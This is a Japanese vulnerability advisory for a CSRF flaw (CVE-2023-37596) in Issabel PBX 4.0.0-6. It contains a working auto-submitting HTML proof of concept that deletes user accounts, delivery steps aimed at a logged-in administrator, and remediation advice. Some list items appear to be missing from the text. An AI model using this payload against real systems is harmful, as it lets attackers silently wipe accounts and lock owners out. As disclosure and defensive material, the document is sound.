sahiloj/cve-2023-37596CVE-2023-37596 は、広く使用されているオープンソースのユニファイドコミュニケーションプラットフォームである Issabel PBX バージョン 4.0.0-6 で発見されたクロスサイトリクエストフォージェリ（CSRF）脆弱性です。
重大度: 高 | CVSS v3.1: 8.1 (AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:H) | CWE: CWE-352
クロスサイト・リクエスト・フォージェリ (CSRF) の脆弱性が Issabel PBX バージョン 4.0.0-6 で発見されました。ユーザー管理エンドポイントには CSRF 保護が一切実装されておらず、認証されていないリモート攻撃者が悪意のある Web ページを作成し、認証済みの Issabel 管理者がそのページを訪れると、システムから任意のユーザーアカウントが黙って削除されます。この攻撃を繰り返し悪用することで、すべての管理者ユーザーが削除され、アプリケーション全体にアクセスできなくなる可能性があります。
| フィールド | 値 |
|---|
| CVE ID | CVE-2023-37596 |
| 脆弱性タイプ | クロスサイト・リクエスト・フォージェリ (CSRF) |
| CWE | CWE-352 |
| 製品 | Issabel PBX |
| 影響を受けるバージョン | 4.0.0-6 |
| ベンダーホームページ | https://www.issabel.org/ |
| ソフトウェアリポジトリ | https://github.com/IssabelFoundation/issabelPBX |
| テスト環境 | Windows |
| CVE 公開日 | 10/07/2023 |
| 発見者 | Sahil Ojha |
Issabel PBX はユーザー管理インターフェースへの状態変更リクエストの送信元を検証しないため、CSRF 攻撃が成功すると、攻撃者は以下を行うことができます：
| 製品 | 影響を受けるバージョン | ステータス |
|---|---|---|
| issabel-pbx | 4.0.0-6 | 脆弱性あり |
攻撃者は、Issabel PBX アプリケーションのユーザー削除エンドポイントを標的とした偽造 HTTP リクエストを含む悪意のある HTML ページをホストします。この攻撃は、Issabel に既に認証されているユーザーが同じブラウザで悪意のあるページを訪れると、自動的に (またはボタンのクリックで) トリガーされます。ブラウザはすべてのリクエストに被害者のセッション Cookie を自動的に含めるため、サーバーは偽造された削除リクエストを正当なものとして受け入れます。
攻撃者側に特別な権限は必要ありません — 認証済みの管理者を仕掛けられたページに誘導するソーシャルエンジニアリングのベクトル (フィッシングリンク、悪意のある広告など) のみが必要です。
この攻撃の主な特徴：
id=1、id=2、…) を標的にできます。Issabel PBX のユーザー一覧ページに移動し、管理者認証情報でログインします：
https://<Issabel-IP>/index.php?menu=userlist
Burp Suite は以下のような HTML ページを生成します。これを .html ファイル (例: csrf_exploit.html) として保存します：
<html>
<!-- CSRF PoC - generated by Burp Suite Professional -->
<body>
<form action="https://<Issabel-IP>/index.php?menu=userlist" method="POST">
<input type="hidden" name="action" value="delete" />
<input type="hidden" name="id" value="1" />
<input type="submit" value="Submit request" />
</form>
<script>
// Auto-submit the form as soon as the page loads
history.pushState('', '', '/');
document.forms[0].submit();
</script>
</body>
</html>
注記:
<Issabel-IP>をターゲットサーバーの IP アドレスまたはホスト名に置き換え、idの値を変更すると別のユーザーアカウントを標的にできます。
csrf_exploit.html ファイル (またはそのホスト先へのリンク) を、現在 Issabel PBX にログインしているユーザーに送信します。被害者がページを開くと、フォームが自動的に送信され、確認プロンプトなしで対象ユーザーが削除されます。
この脆弱性を是正するために、ベンダーおよび/またはシステム管理者は以下の防御策を適用する必要があります：
CSRF トークンの実装 — 暗号学的にランダムなセッション (またはリクエスト) ごとのトークンを生成し、すべての状態変更リクエストに対してサーバー側で検証します。有効なトークンを含まないリクエストは拒否する必要があります。
SameSite Cookie 属性 — セッション Cookie の SameSite 属性を Strict または Lax に設定し、ほとんどのブラウザでクロスオリジンリクエストがセッション Cookie を送信しないようにします。
Origin / Referer ヘッダーの検証 — サーバー側で、Origin または Referer ヘッダーがアプリケーション自身のドメインと一致しない状態変更リクエストを拒否します。
破壊的な操作には再認証を要求 — ユーザーアカウントの削除などの取り消し不可能な操作を処理する前に、ユーザーにパスワードの再入力を求めます。
最小権限の原則を適用 — 明示的な管理者ロールを持つユーザーのみがユーザー削除機能にアクセスできるようにし、攻撃が成功した場合の影響範囲を縮小します。
ベンダーパッチが利用可能になるまでの間、管理者には以下を推奨します：
| 日付 | イベント |
|---|---|
| 10/07/2023 | 脆弱性を発見し報告 |
| 10/07/2023 | CVE-2023-37596 採番 |
Sahil Ojha
免責事項: このリポジトリは教育および責任ある開示の目的でのみ公開されています。ここに記載された情報を、システム所有者からの明示的な書面による許可なしにシステムへの攻撃に使用してはなりません。著者は、この情報の誤用について一切の責任を負いません。